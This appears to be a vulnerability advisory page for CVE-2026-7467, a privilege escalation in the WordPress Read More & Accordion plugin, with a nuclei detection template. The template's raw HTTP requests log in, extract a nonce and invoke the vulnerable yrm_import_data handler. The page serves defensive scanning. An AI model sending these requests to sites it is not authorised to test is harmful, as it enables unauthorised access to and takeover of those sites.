CVE-2026-7467· radmore / expand-maker· CWE-269
Read More & Accordion <= 3.5.7 - Authenticated Privilege Escalation
The Read More & Accordion (expand-maker) plugin for WordPress through 3.5.7 allows privilege escalation due to improper validation in the importData AJAX handler (yrm_import_data action). An authenticated user with plugin access can upload a crafted JSON attachment to insert arbitrary rows into WordPress database tables, including those that control user roles and capabilities, potentially leading to site takeover.
Impact
Authenticated attackers can insert arbitrary rows into any WordPress database table, allowing creation of a new administrator account and full takeover of the site.
Fix
Update to the latest version of the Read More & Accordion (expand-maker) plugin.
How to confirm it
Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=readMore ; POST /wp-admin/admin-ajax.php
Positive when: contains in body_2 "yrmBackendData" OR contains in body_3 "\"success\":true" and "Data import successful"Run it with nuclei: nuclei -id CVE-2026-7467 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2026-7467
info:
name: Read More & Accordion <= 3.5.7 - Authenticated Privilege Escalation
author: zer0p0int
severity: high
description: |
The Read More & Accordion (expand-maker) plugin for WordPress through 3.5.7 allows privilege escalation due to improper validation in the importData AJAX handler (yrm_import_data action). An authenticated user with plugin access can upload a crafted JSON attachment to insert arbitrary rows into WordPress database tables, including those that control user roles and capabilities, potentially leading to site takeover.
impact: |
Authenticated attackers can insert arbitrary rows into any WordPress database table, allowing creation of a new administrator account and full takeover of the site.
remediation: |
Update to the latest version of the Read More & Accordion (expand-maker) plugin.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/id/adf51c03-b0bb-4864-b64d-6b0cba4b0130
- https://wordpress.org/plugins/expand-maker/
- https://nvd.nist.gov/vuln/detail/CVE-2026-7467
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2026-7467
epss-score: 0.01313
epss-percentile: 0.7094
cwe-id: CWE-269
metadata:
verified: false
max-request: 4
vendor: radmore
product: expand-maker
framework: wordpress
publicwww-query: "/wp-content/plugins/expand-maker/"
tags: cve,cve2026,wp,wordpress,wp-plugin,privilege-escalation,ssrf,authenticated,vkev
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=%2F&testcookie=1
- |
GET /wp-admin/admin.php?page=readMore HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=yrm_import_data&ajaxNonce={{yrm_nonce}}&attachmentUrl={{BaseURL}}/wp-json/
matchers:
- type: word
part: body_2
words:
- "yrmBackendData"
- type: word
part: body_3
words:
- '"success":true'
- "Data import successful"
condition: and
extractors:
- type: regex
name: yrm_nonce
group: 1
part: body_2
regex:
- 'yrmBackendData = \{"nonce":"([a-f0-9]+)"'
internal: trueReferences
- https://www.wordfence.com/threat-intel/vulnerabilities/id/adf51c03-b0bb-4864-b64d-6b0cba4b0130
- https://wordpress.org/plugins/expand-maker/
- https://nvd.nist.gov/vuln/detail/CVE-2026-7467
Use this check only on systems you are authorised to test. Where the data comes from